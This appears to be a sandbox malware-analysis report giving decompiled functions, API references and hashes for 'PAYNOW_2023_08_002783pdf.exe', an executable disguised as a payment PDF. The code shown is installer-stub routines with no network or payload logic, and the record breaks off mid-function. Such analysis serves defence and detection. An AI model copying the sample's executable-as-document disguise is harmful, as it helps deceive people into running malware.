Part of subcall function 00405C5A: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405C80

Strings

%s=%s, xrefs: 00405D9B
[Rename], xrefs: 00405E0F, 00405E21

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]
API String ID: 2171350718-1727408572
Opcode ID: 097021bf92df9443e65b315c0ac911d21241cf23c87b86087cfee4b276ee0bbc
Instruction ID: e2b4b59c5115c054d9977882ffa936deea793db07019febf4a6c543227337bd7
Opcode Fuzzy Hash: 097021bf92df9443e65b315c0ac911d21241cf23c87b86087cfee4b276ee0bbc
Instruction Fuzzy Hash: 39312431205B15BBD2207B65AD48F6B3A5CDF45754F14003BFA85F62C2DBBCE9028AAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040639C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040639C(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E00405AC6(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E00405A84("*?|<>/\":", _t5))) == 0) {
							E00405C15(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x0040639e
0x004063a6
0x004063ba
0x004063ba
0x004063c0
0x004063cd
0x004063cd
0x004063ce
0x004063d0
0x004063d4
0x004063d6
0x004063df
0x004063e1
0x004063fb
0x00406403
0x00406403
0x00406408
0x0040640a
0x0040640c
0x00406410
0x00406411
0x00406414
0x0040641c
0x0040641e
0x00406422
0x00000000
0x00000000
0x00406428
0x0040642d
0x00000000
0x00000000
0x00000000
0x0040642d
0x00406432

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",764B3410,C:\Users\user\AppData\Local\Temp\,00000000,004032ED,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 004063F4
CharNextA.USER32(?,?,?,00000000,?,?,?,0000000B), ref: 00406401
CharNextA.USER32(?,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",764B3410,C:\Users\user\AppData\Local\Temp\,00000000,004032ED,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00406406
CharPrevA.USER32(?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000,004032ED,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00406416

Strings

*?|<>/":, xrefs: 004063E4
C:\Users\user\AppData\Local\Temp\, xrefs: 0040639D
"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe", xrefs: 004063D8

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-572825423
Opcode ID: 6d9cd5a565d063f7c871d931481108c2ccc59b6be6080685bd61ccbc84ff8956
Instruction ID: d9f0ee3981b821fe41e3526cabf2d3b5ed91aab2121061eeaaee8554b2496e7d
Opcode Fuzzy Hash: 6d9cd5a565d063f7c871d931481108c2ccc59b6be6080685bd61ccbc84ff8956
Instruction Fuzzy Hash: 161108518047A129FB3206384C44B777FD84F97760F1A507BE9C2722C2D67C5CA68BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004041AC Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041AC(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x004041be
0x00404274
0x00000000
0x00404274
0x004041cf
0x004041d3
0x00000000
0x004041ed
0x004041ed
0x004041f6
0x00000000
0x00000000
0x004041f8
0x00404204
0x00404207
0x00404207
0x0040420d
0x00404213
0x00404213
0x0040421f
0x00404225
0x0040422c
0x0040422f
0x00404232
0x00404234
0x00404234
0x0040423c
0x00404242
0x00404242
0x0040424c
0x00404251
0x00404254
0x00404259
0x0040425c
0x0040425c
0x0040426c
0x0040426c
0x00000000
0x0040426f

APIs

GetWindowLongA.USER32(?,000000EB), ref: 004041C9
GetSysColor.USER32(00000000), ref: 00404207
SetTextColor.GDI32(?,00000000), ref: 00404213
SetBkMode.GDI32(?,?), ref: 0040421F
GetSysColor.USER32(?), ref: 00404232
SetBkColor.GDI32(?,?), ref: 00404242
DeleteObject.GDI32(?), ref: 0040425C
CreateBrushIndirect.GDI32(?), ref: 00404266

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
Instruction ID: aaf6f474a4af46f2497c0aff4df426b114d26e681d2b1e7af029b8f8d9950092
Opcode Fuzzy Hash: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
Instruction Fuzzy Hash: 422162B16007049BCB20DF78D908F5BBBF8AF81754B048A6EF992A22E1D734E944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB24D8 Relevance: 10.6, APIs: 7, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6ECB24D8(intOrPtr* _a4) {
				char _v80;
				int _v84;
				intOrPtr _v88;
				short _v92;
				intOrPtr* _t28;
				void* _t30;
				intOrPtr _t31;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;
				void* _t48;

				_t44 = E6ECB1215();
				_t28 = _a4;
				_t45 =  *((intOrPtr*)(_t28 + 0x814));
				_v88 = _t45;
				_t48 = (_t45 + 0x41 << 5) + _t28;
				do {
					if( *((intOrPtr*)(_t48 - 4)) >= 0) {
					}
					_t43 =  *(_t48 - 8) & 0x000000ff;
					if(_t43 <= 7) {
						switch( *((intOrPtr*)(_t43 * 4 +  &M6ECB2626))) {
							case 0:
								 *_t44 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									_v84 = __ecx;
									__ecx =  *(0x6ecb307c + __edx * 4);
									__edx = _v84;
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x6ecb309c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E6ECB1429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__eax = lstrcpynA(__edi,  *__eax,  *0x6ecb405c);
								goto L17;
							case 4:
								__ecx =  *0x6ecb405c;
								__edx = __ecx - 1;
								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
								__eax =  *0x6ecb405c;
								 *((char*)(__eax + __edi - 1)) = __bl;
								goto L17;
							case 5:
								__ecx =  &_v80;
								_push(0x27);
								_push(__ecx);
								_push( *__eax);
								__imp__StringFromGUID2();
								__eax =  &_v92;
								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x6ecb405c, __ebx, __ebx);
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfA(__edi, 0x6ecb4000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t30 =  *(_t48 + 0x14);
					if(_t30 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t48 - 4)) > 0)) {
						GlobalFree(_t30);
					}
					_t31 =  *((intOrPtr*)(_t48 + 0xc));
					if(_t31 != 0) {
						if(_t31 != 0xffffffff) {
							if(_t31 > 0) {
								E6ECB12D1(_t31 - 1, _t44);
								goto L26;
							}
						} else {
							E6ECB1266(_t44);
							L26:
						}
					}
					_v88 = _v88 - 1;
					_t48 = _t48 - 0x20;
				} while (_v88 >= 0);
				return GlobalFree(_t44);
			}

0x6ecb24e4
0x6ecb24e6
0x6ecb24f0
0x6ecb24f6
0x6ecb2500
0x6ecb2504
0x6ecb2509
0x6ecb2509
0x6ecb2511
0x6ecb2518
0x6ecb251e
0x00000000
0x6ecb2525
0x00000000
0x00000000
0x6ecb252c
0x6ecb2530
0x6ecb2533
0x6ecb2537
0x6ecb253e
0x6ecb2542
0x6ecb2548
0x6ecb254a
0x6ecb254c
0x6ecb254c
0x6ecb2553
0x00000000
0x00000000
0x6ecb255c
0x00000000
0x00000000
0x6ecb256c
0x00000000
0x00000000
0x6ecb2598
0x6ecb25a0
0x6ecb25aa
0x6ecb25ac
0x6ecb25b1
0x00000000
0x00000000
0x6ecb2574
0x6ecb2578
0x6ecb257a
0x6ecb257b
0x6ecb257d
0x6ecb258d
0x6ecb2594
0x00000000
0x00000000
0x6ecb25b7
0x6ecb25b9
0x6ecb25bf
0x6ecb25c5
0x6ecb25c5
0x00000000
0x00000000
0x6ecb251e
0x6ecb25c8
0x6ecb25c8
0x6ecb25cd
0x6ecb25de
0x6ecb25de
0x6ecb25e4
0x6ecb25e9
0x6ecb25ee
0x6ecb25fa
0x6ecb25ff
0x00000000
0x6ecb2604
0x6ecb25f0
0x6ecb25f1
0x6ecb2605
0x6ecb2605
0x6ecb25ee
0x6ecb2606
0x6ecb260a
0x6ecb260d
0x6ecb2625

APIs

Part of subcall function 6ECB1215: GlobalAlloc.KERNELBASE(00000040,6ECB1233,?,6ECB12CF,-6ECB404B,6ECB11AB,-000000A0), ref: 6ECB121D

GlobalFree.KERNEL32(?), ref: 6ECB25DE
GlobalFree.KERNEL32(00000000), ref: 6ECB2618

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 2aca875b0d605d098af59726bee8eee8b93dc9716f9c685cb94de8dd5188fb8d
Instruction ID: 97cca8a598aba81fe8b6b55579cd1d86f692b74751b4eae0989ad02a3c4ad732
Opcode Fuzzy Hash: 2aca875b0d605d098af59726bee8eee8b93dc9716f9c685cb94de8dd5188fb8d
Instruction Fuzzy Hash: 23419F71548601EFCB098F99DDE8C6BB7BEFF86304B004929F51187210F735AD098B62

Uniqueness

Uniqueness Score: -1.00%

Function 00404A98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A98(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, "true", 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404aa6
0x00404ab3
0x00404ab9
0x00404af7
0x00404af7
0x00404b06
0x00404b0d
0x00000000
0x00404b0f
0x00404abb
0x00404aca
0x00404ad2
0x00404ad5
0x00404ae7
0x00404aed
0x00404af4
0x00000000
0x00404af4
0x00000000

APIs

SendMessageA.USER32(?,0000110A,?,00000000), ref: 00404AB3
GetMessagePos.USER32 ref: 00404ABB
ScreenToClient.USER32(?,?), ref: 00404AD5
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404AE7
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404B0D

Strings

f, xrefs: 00404AE9

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
Instruction ID: c5e689f19116b5cd7588311b3231e42886eb7a503382143ef86565be6c6ceac4
Opcode Fuzzy Hash: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
Instruction Fuzzy Hash: 98015E71A40219BADB00DBA4DD85BFFBBBCAF59711F10016BBB40B61D0C7B499458BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402DBA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DBA(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, "true", 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x4138d8; // 0x33600
					_t11 =  *0x41f8e4; // 0x769c8
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402dc7
0x00402dd5
0x00402ddb
0x00402ddb
0x00402de9
0x00402deb
0x00402df1
0x00402df8
0x00402dfa
0x00402dfa
0x00402e10
0x00402e20
0x00402e32
0x00402e32
0x00402e3a

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402DD5
MulDiv.KERNEL32(00033600,00000064,000769C8), ref: 00402E00
wsprintfA.USER32 ref: 00402E10
SetWindowTextA.USER32(?,?), ref: 00402E20
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402E32

Strings

verifying installer: %d%%, xrefs: 00402E0A

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: c12f5796f431ffac12d06fef0705727a44af994ad502cf00351caa1c45e3c2e6
Instruction ID: 483ea5b0a2f0e0c8b194c47557f81135a9cf1dc15d145a61dc19a9cae62ee66c
Opcode Fuzzy Hash: c12f5796f431ffac12d06fef0705727a44af994ad502cf00351caa1c45e3c2e6
Instruction Fuzzy Hash: CD014F70640209BBEF10AF60DE09EEE37A9AB04305F008039FA06A51D0DBB499559B59

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB22F1 Relevance: 9.1, APIs: 6, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6ECB22F1(void* __edx, intOrPtr _a4) {
				signed int _v4;
				signed int _v8;
				void* _t38;
				signed int _t39;
				void* _t40;
				void* _t43;
				void* _t48;
				signed int* _t50;
				signed char* _t51;

				_v8 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t51 = (_v8 << 5) + _t9;
					_t38 = _t51[0x18];
					if(_t38 == 0) {
						goto L9;
					}
					_t48 = 0x1a;
					if(_t38 == _t48) {
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						if(_t38 <= 0 || _t38 > 0x19) {
							_t51[0x18] = _t48;
						} else {
							_t38 = E6ECB12AD(_t38 - 1);
							L10:
						}
						goto L11;
					} else {
						_t38 = E6ECB123B();
						L11:
						_t43 = _t38;
						_t13 =  &(_t51[8]); // 0x820
						_t50 = _t13;
						if(_t51[4] >= 0) {
						}
						_t39 =  *_t51 & 0x000000ff;
						_t51[0x1c] = _t51[0x1c] & 0x00000000;
						_v4 = _t39;
						if(_t39 > 7) {
							L27:
							_t40 = GlobalFree(_t43);
							if(_v8 == 0) {
								return _t40;
							}
							if(_v8 !=  *((intOrPtr*)(_a4 + 0x814))) {
								_v8 = _v8 + 1;
							} else {
								_v8 = _v8 & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t39 * 4 +  &M6ECB247E))) {
								case 0:
									 *_t50 =  *_t50 & 0x00000000;
									goto L27;
								case 1:
									__eax = E6ECB12FE(__ebx);
									goto L20;
								case 2:
									 *__ebp = E6ECB12FE(__ebx);
									_a4 = __edx;
									goto L27;
								case 3:
									__eax = E6ECB1224(__ebx);
									 *(__esi + 0x1c) = __eax;
									L20:
									 *__ebp = __eax;
									goto L27;
								case 4:
									 *0x6ecb405c =  *0x6ecb405c +  *0x6ecb405c;
									__edi = GlobalAlloc(0x40,  *0x6ecb405c +  *0x6ecb405c);
									 *0x6ecb405c = MultiByteToWideChar(0, 0, __ebx,  *0x6ecb405c, __edi,  *0x6ecb405c);
									if(_v4 != 5) {
										 *(__esi + 0x1c) = __edi;
										 *__ebp = __edi;
									} else {
										__eax = GlobalAlloc(0x40, 0x10);
										_push(__eax);
										 *(__esi + 0x1c) = __eax;
										_push(__edi);
										 *__ebp = __eax;
										__imp__CLSIDFromString();
										__eax = GlobalFree(__edi);
									}
									goto L27;
								case 5:
									if( *__ebx != 0) {
										__eax = E6ECB12FE(__ebx);
										 *__edi = __eax;
									}
									goto L27;
								case 6:
									__esi =  *(__esi + 0x18);
									__esi = __esi - 1;
									__esi = __esi *  *0x6ecb405c;
									__esi = __esi +  *0x6ecb4064;
									__eax = __esi + 0xc;
									 *__edi = __esi + 0xc;
									asm("cdq");
									__eax = E6ECB1429(__edx, __esi + 0xc, __edx, __esi);
									goto L27;
							}
						}
					}
					L9:
					_t38 = E6ECB1224(0x6ecb4034);
					goto L10;
				}
			}

0x6ecb2306
0x6ecb230a
0x6ecb2315
0x6ecb2315
0x6ecb231c
0x6ecb2321
0x00000000
0x00000000
0x6ecb2325
0x6ecb2328
0x00000000
0x00000000
0x6ecb232d
0x6ecb2338
0x6ecb2348
0x6ecb233f
0x6ecb2341
0x6ecb2357
0x6ecb2357
0x00000000
0x6ecb232f
0x6ecb232f
0x6ecb2358
0x6ecb235c
0x6ecb235e
0x6ecb235e
0x6ecb2361
0x6ecb2361
0x6ecb2369
0x6ecb236c
0x6ecb2373
0x6ecb2377
0x6ecb2446
0x6ecb2447
0x6ecb2452
0x6ecb247d
0x6ecb247d
0x6ecb2462
0x6ecb246e
0x6ecb2464
0x6ecb2464
0x6ecb2464
0x00000000
0x6ecb237d
0x6ecb237d
0x00000000
0x6ecb2384
0x00000000
0x00000000
0x6ecb238d
0x00000000
0x00000000
0x6ecb239b
0x6ecb239e
0x00000000
0x00000000
0x6ecb23a7
0x6ecb23ac
0x6ecb23af
0x6ecb23b0
0x00000000
0x00000000
0x6ecb23bd
0x6ecb23c8
0x6ecb23d7
0x6ecb23e2
0x6ecb2405
0x6ecb2408
0x6ecb23e4
0x6ecb23e8
0x6ecb23ee
0x6ecb23ef
0x6ecb23f2
0x6ecb23f3
0x6ecb23f6
0x6ecb23fd
0x6ecb23fd
0x00000000
0x00000000
0x6ecb2410
0x6ecb2413
0x6ecb241f
0x6ecb2421
0x00000000
0x00000000
0x6ecb2424
0x6ecb2427
0x6ecb2428
0x6ecb242f
0x6ecb2436
0x6ecb2439
0x6ecb243b
0x6ecb243e
0x00000000
0x00000000
0x6ecb237d
0x6ecb2377
0x6ecb234d
0x6ecb2352
0x00000000
0x6ecb2352

APIs

GlobalFree.KERNEL32(00000000), ref: 6ECB2447

Part of subcall function 6ECB1224: lstrcpynA.KERNEL32(00000000,?,6ECB12CF,-6ECB404B,6ECB11AB,-000000A0), ref: 6ECB1234

GlobalAlloc.KERNEL32(00000040,?), ref: 6ECB23C2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 6ECB23D7
GlobalAlloc.KERNEL32(00000040,00000010), ref: 6ECB23E8
CLSIDFromString.OLE32(00000000,00000000), ref: 6ECB23F6
GlobalFree.KERNEL32(00000000), ref: 6ECB23FD

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: c48aeae383032fea56a7b91255eca8c4c4c95a88df3d9e4c0638f6cd4c2d4eda
Instruction ID: 37c2d8bc2cc75261078d9641ddd708cd2222c3a591abd1f47e23d90f1eb9179b
Opcode Fuzzy Hash: c48aeae383032fea56a7b91255eca8c4c4c95a88df3d9e4c0638f6cd4c2d4eda
Instruction Fuzzy Hash: 9641ADB1908701DFD7188FAA9994B6AB7FCFF45311F00482AE865CB690FB709945CF62

Uniqueness

Uniqueness Score: -1.00%

Function 004027DF Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004027DF(int __ebx) {
				void* _t26;
				long _t31;
				int _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0xc)) = 0xfffffd66;
				_t50 = E00402BCE(0xfffffff0);
				 *(_t56 - 0x78) = _t23;
				if(E00405AC6(_t50) == 0) {
					E00402BCE(0xffffffed);
				}
				E00405C35(_t50);
				_t26 = E00405C5A(_t50, 0x40000000, "true");
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x424738;
